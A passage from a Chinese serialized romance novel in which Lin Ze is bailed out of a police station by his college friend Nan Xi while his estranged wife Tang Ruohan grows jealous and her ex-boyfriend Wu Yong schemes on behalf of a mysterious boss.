眼神当中,微不可查的得意也一闪而过。 到达医院时。 吴庸脸上的血已经止住。 可唐若涵还是小心翼翼地把他从车上扶下来。 “慢点,小心伤口。” “小涵,我是不是失血过多,需要输血了?为什么感觉脚像踩在棉花上一样?” 唐若涵犹豫几秒。 最终。 缓缓弯下腰,抬着吴庸的手搭在自己的脖子上。 “慢点,马上就能处理伤口了。” 唐若涵放慢脚步,跟吴庸一起走向急诊室的方向。 十几分钟后。 “血压正常,鼻腔微肿,鼻骨未出现骨折,不需要住院。” “回家以后,多休息,饮食注意清淡,忌辛辣。” “七天以后复查。” 医生盯着电脑上的图片影像,简单交代。 吴庸依旧有些不放心。 “医生,我这个骨折不会留下后遗症吧?” 医生抬起头,匪夷所思地望着吴庸。 “你没骨折,刚才没听清?” 第一卷 第46章 开跑车带走他的,是南希! 吴庸尴尬。 可依旧担心会有什么后遗症。 “医生,除了刚才交代的,就没有其他的了?” “七天后过来复查。” 穿着白大褂的医生又重复了一句。 吴庸脸上的神情稍稍平和。 唐若涵上前,声音轻柔。 “别太担心,医生说没有什么大问题,好好休息两天。” “好,小涵,多谢你陪着我,刚才如果没有你,我真不知道怎么坚持下来。” 吴庸张开手,想给唐若涵一个拥抱。 毕竟。 这个时候最容易煽情。 如果此刻将唐若涵搂入怀中,她应该不会拒绝。 只可惜。 吴庸忽略了身后的那对眼睛。 他刚刚张开双臂,一道重重的咳嗽声便传来。 “咳咳!” 吴庸表情瞬间愣住,手也停在半空当中。 回头发现医生正盯着他。 “医生,还有什么事吗?”吴庸声音当中掺杂着不悦。 医生淡淡说了一句,“食清淡,忌辛辣,别忘记吃消炎药。” “好的医生,我们记住了,谢谢您。” 唐若涵接上话茬。 随即,转身走出急诊室。 吴庸不情愿地跟上。 来到走廊。 唐若涵已经恢复平静,语气也如同平日里一般干练。 “一会儿拿好药,我送你回去,你注意休息,遵从医生的嘱咐。” “小涵,你……不陪陪我吗?” 吴庸着急,却不敢过多地表现出什么。 唐若涵脚步放慢。 “我还要去警局一趟,林泽那边的事情还需要处理。” 吴庸心头一震,眼里的柔情也变得无处安放。 虽然唐若涵第一时间是想要照顾自己,可,她还是想着林泽的。 该死的林泽! 你就应该被警察抓住,就应该把牢底坐穿! 吴庸在心中诅咒林泽几句,突然发现,唐若涵已经走远。 “小涵,你等等我。” …… 再次回到警局。 唐若涵直奔之前林泽做口供的房间。 “这位女士,请问你找谁?” 身后的一个小警察边追边问。 唐若涵环顾一周,当即开口询问:“刚才,有一个叫林泽的,就是那个打人被抓进来的,现在在哪里?” 小警察一愣,皱着眉头想了想,忙回答道:“你说的是林哥啊?他被人接走了。” 唐若涵脸上满是疑惑。 林哥? 警局里的这些小警察,都如此称呼林泽吗? 还有。 被人接走了? 谁? “什么人把他接走的?什么时候?” 缓过神后,唐若涵再次询问。 小警察回答得也非常诚实。 “应该有十分钟了吧。” “接走林哥的,是一个年轻的女孩子,挺漂亮的,开了一辆跑车,叫什么,这个不清楚。” 对方说完。 唐若涵直接愣住。 谁会把林泽接走?难道是苏晴? 除了苏晴这个丫头外,林泽好像跟其他的女孩子并没有什么交集。 本能的打开包,唐若涵想拿出手机询问,却发现,手一直在抖。 心跳。 也跟着加快。 深吸一口气,唐若涵努力让自己平静下来。 可是。 脑海当中的画面,怎么也挥之不去。 漂亮的年轻女孩子,开着跑车,把林泽带走了! 本来。 唐若涵还想着带林泽离开,路上,仔细问一下到底是怎么回事。 没想到,竟然落空了。 还有。 刚才林泽还没有从房间里出来,她就已经带着吴庸离开。 林泽,会不会怪自己? 就像张军说的,不管怎么说,在没有离婚以前,她跟林泽现在还是法律上的夫妻。 出事了,放着丈夫不管,先去顾及别的男人,就算他们之间没有感情,说出去,也有些不好听。 一时间。 唐若涵在原地愣神。 旁边。 小警察也不知道该是走是留。 过了一会儿,唐若涵喃喃问出一句。 “那这个案子结了吗?怎么定性的?” 小警察摇摇头。 “不好意思,女士,我没有负责这个案子,所以对于您问得相关情况,我并不清楚。” “好了,知道了。” 唐若涵不想再听其他,将手机重新放好,这才匆忙离开。 走出院子。 唐若涵心中的愧疚越来越浓。 同时,脸上再次闪过疑惑之色。 相处三年。 林泽的为人,她也算是了解的,要说林泽勒索,这应该不可能。 想起刚才对林泽的指责,唐若涵突然觉得是自己冲动了。 既然苏晴现在跟林泽在一起。 那不妨先打个电话。 如果有必要,她可以因为之前的态度跟林泽道歉。 但是,一码归一码。 林泽打人终究是不对的。 定下神后。 唐若涵重新拿起手机,迅速拨通苏晴的电话号码。 很快。 电话那边传来甜美清脆的声音。 “表姐,你怎么想起给我打电话来了?这个时候,你难道没有跟你的心上人卿卿我我?” 苏晴语气当中带着调侃。 唐若涵眉头瞬间一蹙。 “苏晴,别胡说八道,林泽呢,让他接电话。” “表姐,我又没有跟姐夫在一起,我到哪里让他接电话?” 苏晴先是一惊,接着恍然大悟。 “哦,我明白了,你是不是又要跟吴庸约会,不回去吃饭了?” “放心吧,这个话我一定给你带到,我会打电话告诉姐夫的!” 苏晴兀自猜测,还顺着意思作出决定。 唐若涵的眉头却越皱越紧。 “你没有跟林泽在一起?你没来警局接他?” 一句话。 瞬间把苏晴问蒙圈。 电话那端,有几秒钟的停滞。 随后。 是苏晴震耳欲聋的声音。 “表姐,出什么事了,怎么还去警局接姐夫?你们两个不会动手了吧?” “你现在在哪里,我马上过去找你。” “对了,姐夫呢,他去哪里了?” 苏晴语无伦次,问题一个接着一个。 唐若涵思绪一片混乱,被苏晴吵得头都要裂开。 “行了,你没跟林泽在一起就算了,就这样吧,这件事情以后再说!” 不等苏晴说什么。 唐若涵直接将电话挂断。 不是苏晴,那,接走林泽的会是谁? …… 警局门口。 右边停车场。 林泽正在跟一个女孩子聊天。 女孩子面孔小而匀称,肤白胜雪,阳光下,泛着淡淡光泽。 一双清澈的眸子,始终看向林泽的面孔。 嘴唇扬起完美的弧度,眼神当中是掩饰不住的笑意。 裁剪利索的火红色皮裙,收腰处做了特殊设计,将完美的身材线条展露得一览无遗。 裙摆停在膝盖的上方,青春洋溢,又无比干练。 望着面前的女孩子,林泽有一瞬间的恍惚。 这跟记忆当中的她,截然不同。 大学四年。 林泽印象最深的,就是她扎起的高马尾。 校服整洁,气质清纯。 每当下课的时候,整个教室都乱哄哄的,唯独她,安静地坐在靠着窗户的位置。 嬉闹声跟她的恬静,仿佛构成一幅油画。 “怎么,你的眼神,像是不认识我一样,我都跟你说半天了,你怎么看我还那么陌生?” 女孩子眼睛弯成了月牙,脸颊的梨涡也若隐若现。 林泽看看面前的跑车,再看看眼前的女孩子。 “不是不认识,只是觉得你的变化太大了,跟之前的记忆有些无法融合。” 女孩子无奈地皱皱眉。 “这不是要去警察局抢人嘛,不把装备做全套,怎么能震慑住他们?” 林泽无语。 这里可是警察局,进去的人,哪里是说抢就能抢的? 今天,如果不是张军发话,别说是开跑车,就算她开火箭过来,人,照样带不走。 女孩子似乎猜到林泽心中所想,又歪着脑袋笑起来。 另外一边。 唐若涵已经找到林泽的电话号码,并且按下拨通键。 “滴滴,滴滴滴!” 本想着上车。 可唐若涵一下子又愣住。 熟悉的铃声,竟然就在附近! 瞬间。 唐若涵开始四处张望,手机也不由得,又攥紧了一些。 听着手机当中传来的声音,她的眼睛却在捕捉现实当中的声音来源。 几秒钟后。 唐若涵目光骤停! 186的个子,匀称的身材,五官如同刀刻一般,棱角分明。 警局停车场的人并不多,她一眼便认出林泽的身影。 刚想要走过去,唐若涵的眼神里,瞬间多了一辆跑车。 旁边。 跟林泽站在一起的,是一个穿着红色皮裙的女孩子。 唐若涵停下脚步,冷冷地注视着不远处。 女孩子看林泽的眼神,如痴如醉。 眼眸当中,似乎全被林泽所占据。 轻笑声传出,女孩子转过头。 瞬间。 唐若涵眼眸再次骤缩! 原来。 开着跑车将林泽带出警局的,是——南希! 第一卷 第47章 给你足够的时间……约会! 时间一分一秒过去。 唐若涵握紧手机,眼眸始终注视着不远处。 一颗疑惑的心,突然变得烦躁不安。 不知道为什么,唐若涵竟然有一丝担忧。 林泽,会不接她的电话? 脑海当中刚闪过这个想法,只听“嘟”一声,铃声……中断! 唐若涵表情瞬间凝固。 努力按捺住走向前的冲动,迅速打开车门,匆忙躲进车里。 只是。 坐在驾驶座上,她却没有发动汽车。 林泽,竟然真的挂断了她的电话! 结婚三年,这是从来没有过的事情! 唐若涵手握方向盘,却不止一次地看向手机屏幕。 万一……林泽手滑,不小心按下了挂断键也不一定。 躁动的同时。 唐若涵也开始在记忆中搜索关于南希的资料。 南希,金源集团未来接班人。 东海南家新任家主南展星的独生女。 据说,这位南家大小姐,毕业以后就出了国。 没想到,现在竟然回来了。 更让唐若涵感觉震惊的是,她竟然还跟林泽这么熟络…… 唐若涵眉头皱成一团,想再多了解一些关于南希的信息。 可惜,翻来覆去也只想到了这么多。 旁边。 手机没有任何动静。 唐若涵的情绪也跟着低落很多。 抬眼看了一下不远处,随即,脸上又闪过一丝自嘲。 “还以为,如果我不过来,你会一直待在警察局,没想到,真有人把你保释出来了。 深吸一口气,唐若涵脸上神情逐渐平静。 既然林泽没事,她也没有必要把时间浪费在这里。 烦躁的发动汽车,唐若涵驶出车位,直接将油门踩到底! 这时。 手机上突然弹出一则未读消息。 唐若涵扫了手机屏幕一眼,故意不去看,可使出一段时间以后,还是猛踩下刹车! “唐总,晚饭凤尾虾,东坡肉,金银扇贝,干煸冬笋,杞菊蜜饮甘霖,可以吗?” 看到林泽发来的消息。 唐若涵再次升起无明火,几乎是想也不想的,当场回复。 “随便,晚饭我不回去!” 消息编辑完毕,唐若涵还重重地加了一个感叹号。 汽车接着行驶。 一路上。 唐若涵总在想象林泽读到消息的表情,甚至差一点闯了红灯。 不管林泽跟南希是什么关系,他都不能拒接电话! 可事实,偏偏就这么发生了! 事后想到发消息,还有什么意义? 而且。 林泽在消息当中,并没解释拒接电话的原因! 一想到林泽这反常的行为,唐若涵的眉头再次皱成一团! 林泽,晚饭我不回去吃了,给你足够的时间……约会! …… 另外一边。 看完唐若涵的回复,林泽将手机放回兜里。 “所以,我有没有机会请你吃饭?” 南希目光闪烁,问完话后,迅速垂下眼眸。 那小心翼翼的神情,既充满期待,又担心被拒绝。 “她说,晚饭不回去吃,”林泽脸上露出一丝释然,“南希,今天的事情,谢谢你了,这顿饭,我请。” “那怎么能行,刚才不是说好了吗,我要给你压压惊,什么接风洗尘的话就不要说了,我们之间,用不着说这些。” 话音落后。 南希脸上露出一个灿烂的笑容。 这时。 一缕阳光透过树叶,恰好照在南希的脸上,垂落在她脸颊的发丝清晰可见。 林泽有一瞬间的恍惚。 仿佛又看到那个凝视窗外的马尾女孩。 的确。 他们两个人之间,确实不用那么生分。 大学四年,林泽帮过南希不少。 从创建学习小组,共享教材资源,到合作完成项目,林泽每一项都帮南希认真完成。 而南希,也经常给林泽提供兼职资源。 如果分得太清,的确显得见外。 只是。 面对眼前的南希,林泽还是感觉疑惑。 上学期间,林泽的确帮过南希不少,可是对于她的家庭状况,林泽并不怎么了解。 唯一知道的,就是南希经常独来独往,身上经常穿的就是校服。 所以,即便已经聊了一会儿,可要将眼前的南希跟之前记忆中的南希联想到一块,林泽还是有些难以适应。 见林泽不说话。 南希眼眸当中闪过紧张之色,故作平静道:“都不知道你结婚,不然,我肯定得给你包一个大红包!” “今天这顿饭,你不要跟我抢。” 话都说到这个份上。 林泽也不好拒绝。 点头过后,林泽跟南希一块上车。 去往饭店的路上,南希时不时转头。 林泽还是上学时的样子,如果真要说有什么变化,那便是脸上多了一丝憔悴。 难道,唐若涵对他不好吗? 对于外界的那些传闻,南希知道得非常清楚,可这时,却没有勇气开口询问。 刚才在警局。 张军说,唐若涵带着她的前男友去医院了,林泽就在警局。 所以,她才有了保释林泽的机会。 至于打人和被打,张军并没有说那么多。 “手机要保持畅通,警局那边,随时可能给你打电话。” 南希轻声交代。 林泽“嗯”了一声。 转头朝林泽那边看了看,南希最终忍不住开口。 “林泽,有些话,我不知道该怎么说,可既然你已经跟她结婚了,就应该给她足够的信任,就算是前男友,说不定也是正常的交往。” “有什么事情,尽量别动手。” 林泽苦笑,摇头。 现在。 他终于看到了之前的那个南希。 大学时期的南希,劝人一直都是这么委婉。 “有时候,拳头砸下去,火气才能消。” 南希一怔。 想到张军猜测的绿帽子,南希突然同情起林泽来。 这,或许是任何一个正常的人都会有的想法吧! “那……就算你说得对吧,今天你受委屈了,咱们开怀畅吃!一会想吃什么就点什么!” “去哪儿?” 林泽转头问了一句。 “东海大酒店,顶楼!” “档次够高的,出国镀金回来就是不一样,消费水平都跟着提升。” 林泽话音刚落,南希当场接上话茬。 “我是那儿的黑金会员,省预约,顶楼包间随便挑。” 林泽再次笑出声音。 南希却把小脸仰起来。 “跑车我都开出来了,再怎么着也得把面子做足,绝对不能让男小三小看你!” 林泽:“……” 第一卷 第48章 活着的代价。 吴家老宅。 四合院很大,拱门过后,是个精致的小花园。 花草葱郁,造型考究。 石路旁边的一块空地上。 一个六十岁左右的老者,正坐在摇椅上喝茶。 吴庸脚步疲惫,神情苦闷。 本就小心翼翼,看到老者后,谨慎的脚步就停在半空当中,不敢落脚。 “回来了?” 老者眼皮也没抬,冷冷问出一句。 吴庸抬眸,欲言又止后,故作轻松地叫了一声:“父亲。” “事情办得怎么样了?” “还在进行当中,一切还算顺利。” “啪!” 吴庸话音刚落。 吴四海的紫砂茶壶,便重重落到小几上! “胡说八道!你以为三言两语就能把我糊弄过去?我还没有老眼昏花!” “你跟唐家那丫头,根本没什么进展!” “不光如此,今天你还让人打了,还差点留在警察局!” 吴四海一脸愤怒,说话声音一句高过一句。 吴庸紧皱眉头,一言不发。 回国以后,追求唐若涵不光是他的心愿,也是上面的意思。 事态的进展以及自己的举动,不光父亲,就连幕后指使者也极为关注。 最近这段时间。 他跟唐若涵的确没有什么实质性的进展,父亲发火也在情理之中。 脑海当中闪过林泽的面孔,吴庸脸色一黑。 “父亲,这几日进展确实缓慢了些,却也不是没有收获,唐若涵跟林泽马上就要离婚了,据我所知,唐若涵态度非常坚决。” “我计划着是循序渐进,万一唐若涵有所察觉,那后续计划肯定会受到影响。” “以为今天被打,完全是我设计的一个环节。” 听完吴庸解释,吴四海脸上的神情稍作缓和。 深吸一口气,随即缓缓站起身。 上下打量了一下吴庸,吴四海脸又沉下来。 本就严肃的脸上,此刻看不出一丝喜气。 “被打成这样子?那林泽,够狠的!” “不妨事,那小子打得我越狠,唐若涵就越生气。” 剩下的话,吴庸没有说出来。 哪怕是苦肉计,也要让唐若涵彻底断了对林泽的念想。 唐若涵,只能是他一个人的! 想到没有什么好交代的,吴四海抬起手来摆了摆。 “去休息吧,别忘了正事。” “好的父亲。” 吴庸恭恭敬敬地回了一句,这才侧身朝旁边走去。 穿过花园,吴庸走进一间房间。 进屋,迅速关上门。 瞬间变了一副嘴脸。 “该死的!这个破院子,自打住进来以后就没好过!这院子就是克我!” 心情本就糟糕到极点,吴庸又想到刚才父亲的态度,情绪一落千丈。 习惯性地用手摸一下额头。 “嘶!” 一阵倒吸凉气,吴庸神情都变得狰狞起来! 看到镜子里鼻青脸肿的样子,吴庸一拳砸在桌子上! 林泽,你敢动我的脸,老子弄死你! 如果不是为了追求唐若涵,我怎么会对你让步? 这口气,我暂时忍下去,但你记住,有一天,我绝对会连本带息地讨回来! 吴庸恨恨咬牙,目光当中满是狠厉! 突然。 一阵手机铃声响起。 吴庸表情凝固,整个人都跟着紧张起来。 专属铃声带来的压迫感,让他瞬间束手无策。 喉结滚动。 使劲地咽了口口水。 吴庸谨慎拿起手机,声音当中尽是恭维。 “老板,有什么吩咐?” “办妥了吗?” 电话那端。 声音低沉嘶哑。 吴庸本能地打了个哆嗦。 “就快好了,唐若涵马上就要跟林泽离婚,我们很快就能进行下一步的计划。” “一切顺利?” 短短四个字,蕴含着无尽的怀疑。 吴庸一怔,眼神突然凌厉起来。 “老板,目前,倒也算是正常,只是那个林泽太碍眼了,能不能……把他除掉?” “呵!”电话那端声音充满嘲讽,“东海吴家的大公子,温文儒雅,私底下,竟也如此狠辣。” 吴庸冷哼。 “我也不想这样,可他碍了路,我都死过一次的人了,还有什么看不明白?” “你不用把心思放在林泽身上,我这边另有安排,眼下,拿下唐若涵是最主要的。” 吴庸皱起眉头,肿胀脸上满是疑惑。 不管林泽? 难道,老板要亲自动手? 不可能! 林泽算什么东西,哪里配让老板亲自出面? 疑惑之余,吴庸心中又升起一丝快意。 林泽,被老板盯上,估计你临死期也就不远了! 看来,老天爷都在帮自己! “老板,您放心,唐若涵这边,我一定尽快搞定!” “记住,不要露出任何马脚,绝对不能让唐家的人怀疑!” 电话那端的声音再一次变得严厉。 吴庸紧张的声音发颤。 “好的,老板,我明白该怎么做。” 通话中断。 吴庸这才松了一口气。 坐到椅子上的那一刹那,吴庸感觉浑身的血都停止流动。 缓缓闭上眼睛,脑海当中闪过一年前的那一幕,手不由得再次握紧。 大脑空白,意识涣散。 跟死神擦肩的那几秒,是他刻在骨子里的恐惧。 最后。 是那个神秘男人救了他。 自此以后,他也成了牵线木偶,这就是活着的代价。 表面无比风光,实际上却是傀儡。 就如同眼前的院子。 当踏进第一步的那一刻,吴庸便感觉无比排斥。 可是,他跟父亲依然住了进来。 因为,没得选择。 幕后老板提供了一切,人脉,关系,甚至还给了他一个上亿总裁的身份。 他,只需要完成老板布置的任务,就能活着。 思绪逐渐平静,吴庸从喉咙里不停重复三个字。 “唐若涵,唐若涵……” …… 东海大酒店。 顶楼。 繁星满目包间。 南希坐在林泽对面,目光始终停在他的脸上。 乌黑的头发,温柔散落在她肩头。 却不及她目光当中的细腻。 那眼神,依旧如同泉水般清澈。 “林泽,你想吃什么,今天随便点。” 说话间。 南希起身,将菜单亲自送到林泽面前。 林泽笑笑。 进了一趟警局,南希这是把自己当成重点保护对象了。 可是,刚才,打人的分明是他啊! 难不成。 在南希眼里,自己已经成了受委屈需要哄的软饭男? 脑海当中光是闪过这个想法,林泽便一阵不舒服。 但在他身上发生的事情,又哪是三言两语能够说得清的? 算了。 还是不提了。 反正很快都要跟唐若涵离婚,这一切都会结束。 林泽看向菜单。 南希的目光,则是再一次停在林泽的脸上。 回国了。 再次看到这个暗恋了四年的男人,真好。 第一卷 第49章 微弱的希望火苗,点燃了! “在国外待了好几年,你有没有什么忌口的?” 林泽一边看向菜单,一边询问。 “没有,国外的食物吃不惯,国内的我都吃得下。” 南希笑笑,重新将目光定格在林泽脸上。 跟以前相比,林泽的脸上少了青涩,多了几分稳重。 虽然现在有些憔悴,可依旧帅气逼人。 这张脸棱角分明,不管走到哪儿,都是无比显眼的存在。 在国外这几年,南希身边有众多追求者。 只是,在南希看来,所有追求者加起来,都不及林泽的万分之一。 或许,这就是人们嘴里说的,情人眼里出西施吧。 有了林泽这张脸做标准,其他的人,无论多优秀,都无法进得了南希的眼,更别提走进她的心了。 林泽点了四菜一汤。 南希再次笑着点头。 跟南希的腼腆羞涩相比,林泽反倒淡定很多。 甚至几年没见,林泽的那种生疏感很快便消除。 反倒是南希,说话的时候一直在深思熟虑。 其实,对于这一次回国,南希之前已经做了多种设想。 跟林泽见面的情形,她更是想了无数次。 见了林泽以后该出什么样的表情,该说什么样的话,该给他留下一个什么样的印象,南希都在认真斟酌。 可南希怎么也没有想到,回国以后,他们的第一次见面,竟然是在这种情况下。 现在,南希反倒有些庆幸,得亏给张军打了个电话,才有了现在跟林泽的相处机会。 “这次回来以后,还走吗?大学的时候你学习成绩就非常好,在国外几年,应该又进步了不少吧?” 林泽放下菜单,很自然地看向南希这边。 “也没多少进步,只是读完了研究生。” “真厉害,过段时间应该就要走了吧,什么时候走?你告诉我一声,我送送你。” 说着,林泽又说起上次南希出国的事情。 “上次不好意思,大家都喝多了,我得看着他们。” 南希出国前组织了一次聚会。 临近结束,那些暗恋南希的男生都喝多了,一个个地哭得稀里哗啦。 林泽虽然没喝多,可是面对这个烂摊子,他也无法离开。 所以,错过了送南希去机场。 还好这次南希回来,林泽想着,等到她下次走,说什么也得送她。 南希有些犹豫,说话也支支吾吾。 “我……还没想好走不走。” 林泽一怔,不解。 南希家庭条件不错,又在国外待了三年,如果有机会继续读书,却要放弃,岂不可惜? “为什么?如此好的机会为什么要放弃?” 南希脸上闪过不好意思的表情。 让林泽这样直直地看着,她觉得脸颊就像火烧一样。 几个小时以前。 南希还想着继续在国外读书。 可现在看到林泽,她突然有了别的想法。 如果林泽跟唐若涵夫妻恩爱,她会选择离开。 躲得远远的,默默关注着林泽,却不打扰。 可现在情况不一样。 唐若涵,好像并不在乎林泽。 换句话说。 他们两个人能不能继续走下去,都不好说。 毕竟,换做任何一个正常人,在那种情况下,都不可能把丈夫扔在警局,去陪前男友去医院吧? 这件事情对于林泽来说,或许是个变故。 但在她看来,却是一个弥补遗憾的机会。 她已经错过三年,想再继续错过。 当初,得知林泽结婚的消息,南希感觉她的一颗心都死了。 现在,那颗心好像又慢慢地活过来。 希望的火苗虽然微弱,却已经点燃。 所以,几分钟以前,南希决定……不走了。 “怎么了,国内还有别的事情?” 林泽的声音再次传来。 南希跟着点头。 “对,家里有些生意,想让我试着接管一下,所以,我不想走了。” 说到这里,南希话题一转。 “对了,别光说我了,你怎么样,什么时候让我见见嫂子?” 话音未落,南希再次紧张起来。 为了掩饰不安的情绪,她顺手拿起水杯。 林泽再次怔住。 表情僵了片刻,才从喉咙挤出一句。 “回头再说吧。” 想想今天发生的事,南希眉头一蹙,“对不起啊,我是不是提了不该提的?” 猛地喝了一口水,南希将水杯放到一旁。 “那就听你的,你们误会解除了,大家再聚也不迟。” 直到现在。 南希依旧将唐若涵和吴庸的事情说成是一个误会。 不管在什么时候,她都希望林泽过得幸福。 林泽不是一个随便的人。 既然他选择跟唐若涵结婚,肯定是深思熟虑的决定。 要说不爱,必然是假的。 结婚那么神圣的事情,林泽绝对不会当成儿戏。 也正是因为如此,南希这才希望林泽跟唐若涵能冰释前嫌,误会解除。 若他们和好如初,她依然会选择离开。 可是。 话又说回来。 如果唐若涵的心里真的没有了林泽,她会毫不犹豫地站出来。 但是,介于一个人最基本的素养,挑拨是非这种行为,她是做不出来的。 南希正沉浸在思绪当中。 林泽突然淡淡地说出一句。 “没有误会,也没有必要见面。” “什么?你们……”南希瞪圆眼睛,不解地望着林泽。 “算了,不说这个了,刚才我特意点了一个酸辣土豆丝,记得你好像说过喜欢吃这个。” 南希一下子愣住。 接着,差一点笑出声音。 酸辣土豆丝? 没想到,三年过去,林泽竟然还记得这个。 忘记是谁曾经说过一句,暗恋的感觉就像酸辣土豆丝。 酸酸的,辣辣的,却又让人难以自拔。 当初选择出国,她也理不顺这段感情,所以想出去散散心。 可没想到,刚出国不久,林泽竟然结婚了! 也正是因为如此,南希才决定留在国外读书。 现在想想。 这酸辣土豆丝,好像也不是不吃不可。 毕竟林泽就在眼前,以前那种失落和纠结,已经不复存在。 取而代之的,是一丝丝的甜蜜。 两个人正说着话。 服务员将点的菜品端上来。 “清蒸蟹粉狮子头,西湖醋鱼,玉带虾仁,干煸冬笋,酸辣土豆丝。” 服务员逐一报着菜名。 最后,还报了一道牛腩番茄汤。 想到这些都是林泽亲自选择菜肴,南希脸上再次扬起笑意。 服务员刚刚转身。 突然。 南希的手机响了。 第一卷 第50章 身上的血是哪儿来的? 奢华包间内,清脆铃声异常突兀。 看到屏幕上的来电显示,南希皱皱眉头,随即按下挂断键。 将手机推到一旁,南希脸上再次露出笑容。 “我可不希望这顿饭被人打扰,这三年里,还没吃过酸辣土豆丝呢!” 半调侃的话说出,南希又调皮地歪歪脑袋。 “放心,这次的酸辣土豆丝没人跟你抢。” 说话间。 林泽又记起那次聚餐,南希说了一句酸辣土豆丝味道独特,一帮男生把一盘子菜抢了个精光。 现在只有他们两个人,林泽自然不会跟她抢。 南希拿起筷子。 这时。 手机铃声再次响起。 转头的瞬间,南希跟着叹了一口气。 林泽抬头,“你接电话吧,我去回避一下。” 见林泽要站起身,南希赶紧制止,“没事,不用理他,你坐下,咱们接着吃饭。” 这是回来以后跟林泽在一起吃的第一顿饭,正如刚才所说,南希可不想被人打扰。 再次挂断电话。 可没过几秒钟,电话又打进来。 林泽起身,“我去洗个手,一会儿回来。” 电话接二连三的打进来,肯定是有什么重要的事,他主动起身,也能避免南希的尴尬。 见林泽出门,南希当即皱起眉头。 刚刚按下接听键。 电话那端。 一道低沉焦急的声音便传来。 “小希,怎么回事,刚刚回国就往外跑,一家人都等着你吃饭,你现在在哪儿?” 男人声音焦急,同时带着不容置疑的威严。 南希的目光落在面前饭菜上。 “爸,你们不用等我了,我已经在外面吃上了。” “什么?你回国还不到一天,不回家里吃饭,在外面吃什么?赶紧回来,杨姨都把饭菜准备好了。” 听到“杨姨”两个字,南希目光骤然变冷。 “爸,你们自己吃吧,我吃完就回去。” 说完,南希主动挂断电话。 并且,伸手按下关机键。 走廊。 林泽一直站在门口。 包间里南希的声音非常清晰。 几句回复的内容,林泽听得清清楚楚。 没想到,三年不见,南希的脾气还是跟以前一样。 面对看得入眼的人,南希性格温和。 可如果是入不了她的眼,眼神冷得能让人打哆嗦。 那种拒人于千里之外的疏离,几乎让人不敢靠近。 在等待林泽回来的同时。 南希的思绪也开始飘忽。 南家百年根基,在东海市,名声显赫,地位尊贵。 身为南家大小姐,南希自然是众星捧月。 可是,众人再多的关怀,也无法弥补南希幼年丧母的缺失。 七岁那年,母亲去世,父亲南展星一度消沉。 为了她,南展星至今未娶。 杨玉茹也不求名分,无怨无悔地跟了他这么多年。 南希也明白,她应该知足,可是不知道为什么,她就是不愿意回那个家。 上学时住校,毕业后出国。 现在回来,南家别墅越发的陌生。 直到包间的门被打开,南希这才收回思绪。 “林泽,快点,饭菜都要凉了。” 看到林泽那张帅气的脸,南希又忍不住笑容满面。 …… 另外一边。 回到别墅。 唐若涵一直心不在焉。 奢华鱼缸中,锦鲤楼兰正悠闲地游弋,深宝石一般的红色斑纹今天异常醒目。 以往,见它对着自己这边游,唐若涵都会伸手在鱼缸上敲两下。 可今天,她却连手都懒得抬。 尽管不去想某些事情,可那些片段,却总是不可控地出现在脑海。 跑车,保释,南希…… 光是这些,就已经让人产生无尽的想象。 唐若涵柳眉蹙起。 相处三年,她竟然不知道林泽跟南家大小姐竟然还有如此……情义。 而最新得到的消息,更让唐若涵心中不是滋味。 今天是南希回国的第一天,她竟然去找林泽了。 瞬间。 唐若涵有了种前所未有的感受。 论家世,唐南两家都是东海的大家族。 论相貌,唐若涵自认为跟南希不相伯仲。 唯独学历,南希完胜于她。 若说感情方面,唐若涵又觉得有些凌乱。 就算南希和林泽有不错的感情基础,毕竟也是以前,自己跟林泽都结婚三年了…… 脑海当中闪过这个想法。 唐若涵感到一阵烦躁。 这三年有名无实的婚姻,算是结婚吗? 冷静下来后。 唐若涵心中升起一种被南希踩在脚下的感觉。 “怪不得最近那么反常,原来是因为这个?” 唐若涵喃喃自语。 不由得将林泽最近的行为跟南希联系在一起。 愤怒! 压抑! 胸腔那股无明火,随时都能喷出来! 一把拿起手机,唐若涵想也不想地拨通苏晴的电话号码。 “小晴,你有没有课,如果没事马上过来找我!我要被气死了!” 唐若涵声音委屈,眼下只想诉苦,身上的女总裁气势全无。 电话那端。 苏晴声音满是惊讶。 “表姐,你怎么了?是不是有人欺负你?” “别问那么多,你到底来不来?” “我现在就去,马上过去啊!” 话音还没落。 电话已经挂断。 将手机扔到一旁,唐若涵这才松了口气。 依照现在她的家世和身份,也只能向苏晴诉苦了。 倘若找其她的渠道发泄,光是那番铺天盖地的舆论,就能把人压死。 十几分钟后。 苏晴到达盛世豪庭。 将车钥匙扔给一旁的泊车员,苏晴一路小跑着去找唐若涵。 一进门。 苏晴的目光便开始四处搜索,看到唐若涵的那一刹那,直接惊呼出声。 “天哪,表姐,你们真的动手了?” “姐夫,他竟然……伤了你!” 苏晴伸手紧捂住嘴巴,眼中满是不可置信! 随即。 大颗的泪珠,簌簌滑落。 脑海当中的画面,也逐渐汇聚完整。 之前。 唐若涵打电话,问她是不是跟林泽在一起,还问,有没有去警局接林泽? 那时候。 苏晴脑子里闪过的想法,便是林泽和唐若涵动手了,所以惊动了警方。 可她这样问的时候,唐若涵却没有解释,还说以后再说。 当时她刚上课,想着唐若涵的语气也不是那么焦灼,就也没有请假。 可谁曾想。 一节大课过去,事情竟成了这个样子! 刚才飞奔,脑袋有些缺氧。 现在看到唐若涵袖子上的血迹,苏晴几乎要晕过去! “表姐,姐夫怎么可以这样,他太不应该了!” 苏晴声音哽咽,走向唐若涵时,两条腿都开始发软。 唐若涵莫名其妙地望着苏晴,“小晴,你怎么了?” “表姐,你不用管我,现在你应该关心自己才对,姐夫怎么能下如此狠手,男人怎么可以打女人?” “他没打我……” 唐若涵话还没说完整,便被苏晴一把抱住。 “表姐,你别安慰我了!” “他没打你?你身上的血是哪儿来的?” 第一卷 第51章 他,抱上南希大腿了! 唐若涵呆若木鸡,身体僵硬得无法动弹,只有嘴唇微微翕动。 “什么血?” “这里啊,你袖口上的血是哪儿来的?” 苏晴直接指向唐若涵的袖口。 唐若涵闭上眼睛,当场挣脱苏晴的胳膊。 “小晴,等我一会儿,我去洗澡!” 说完,飞奔向浴室。 苏晴蒙圈,眼睛眨了半天,才从喉咙里挤出一句话。 “这么着急把我找过来,就是为了让我等你洗澡?” 无语地吁出一口气,苏晴一下子坐在沙发上。 半小时以后。 唐若涵穿着浴袍出来。 深咖色的头发披在肩上,发梢还滴着水珠。 沐浴露的清新袭来,苏晴还没缓过神,唐若涵已经坐在她的身边。 跟刚才相比,精神虽然好了一些,可神情还是有些沮丧。 “表姐,我只记得你有轻微的强迫症,什么时候也有了洁癖?” “你澡也洗了,现在能说到底是怎么回事了吧?” 苏晴嘟着小嘴,不停地翻白眼。 唐若涵侧头,拿起浴巾擦了一下发梢。 这才对着苏晴讲起今天发生的事。 